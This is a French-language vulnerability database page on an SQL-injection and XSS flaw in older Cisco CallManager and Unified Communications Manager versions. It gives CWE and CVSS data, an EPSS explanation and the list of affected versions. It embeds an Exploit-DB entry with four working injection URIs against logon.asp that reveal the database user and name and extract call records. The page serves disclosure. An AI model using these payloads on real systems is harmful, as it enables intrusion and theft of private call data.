Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-89 |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 30541
Date de publication : 2007-08-28 22h00 +00:00
Auteur : anonymous
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/25480/info
Cisco Unified CallManager and Unified Communications Manager are prone to multiple input-validation vulnerabilities because the applications fail to properly sanitize user-supplied input. These issues include a cross-site scripting vulnerability and an SQL-injection vulnerability.
A successful exploit may allow an attacker to steal cookie-based authentication credentials, execute malicious script code in a user's browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The following proof-of-concept URIs are available for the SQL-injection vulnerability:
To display the logged-in database user:
https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+CURRENT_USER;select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='
To display the selected database:
https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+db_name();select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='
To display the UNIX time when a call was made from extension 12345:
https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+top+1+convert(char(12),dateTimeOrigination)+from+cdr..CallDetailRecord+where+finalCalledPartyNumber+%3C%3E+''+and+callingPartyNumber='12345';select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='
To display the destination number for that call. Replace "1174900000" with the value from the previous query:
https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+top+1+finalCalledPartyNumber+from+cdr..CallDetailRecord+where+callingPartyNumber='12345'+and+dateTimeOrigination=1174900000;select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='
Products Mentioned
Configuraton 0
Cisco>>Unified_communications_manager >> Version 3.3\(5\)
Cisco>>Unified_communications_manager >> Version 3.3\(5\)sr1
Cisco>>Unified_communications_manager >> Version 3.3\(5\)sr2a
Cisco>>Unified_communications_manager >> Version 4.1\(3\)
Cisco>>Unified_communications_manager >> Version 4.1\(3\)sr1
Cisco>>Unified_communications_manager >> Version 4.1\(3\)sr2
Cisco>>Unified_communications_manager >> Version 4.1\(3\)sr3
Cisco>>Unified_communications_manager >> Version 4.1\(3\)sr4
Cisco>>Unified_communications_manager >> Version 4.2
Cisco>>Unified_communications_manager >> Version 4.2.1
Cisco>>Unified_communications_manager >> Version 4.2.2
Cisco>>Unified_communications_manager >> Version 4.2.3
Cisco>>Unified_communications_manager >> Version 4.2.3sr1
Cisco>>Unified_communications_manager >> Version 4.3
Cisco>>Unified_communications_manager >> Version 4.3\(1\)
Cisco>>Call_manager >> Version 3.3\(5\)sr1
Cisco>>Call_manager >> Version 3.3\(5\)sr2
Cisco>>Call_manager >> Version 3.3\(5\)sr2a
Cisco>>Call_manager >> Version 4.1
Cisco>>Call_manager >> Version 4.1\(3\)sr1
Cisco>>Call_manager >> Version 4.1\(3\)sr2
Cisco>>Call_manager >> Version 4.1\(3\)sr3
Cisco>>Call_manager >> Version 4.1\(3\)sr4
Cisco>>Call_manager >> Version 4.2
Cisco>>Call_manager >> Version 4.2\(1\)
Cisco>>Call_manager >> Version 4.2\(2\)
Cisco>>Call_manager >> Version 4.2\(3\)
Cisco>>Call_manager >> Version 4.2\(3\)sr1
Cisco>>Call_manager >> Version 4.2\(3\)sr2
Cisco>>Call_manager >> Version 4.3
Cisco>>Call_manager >> Version 4.3\(1\)
Références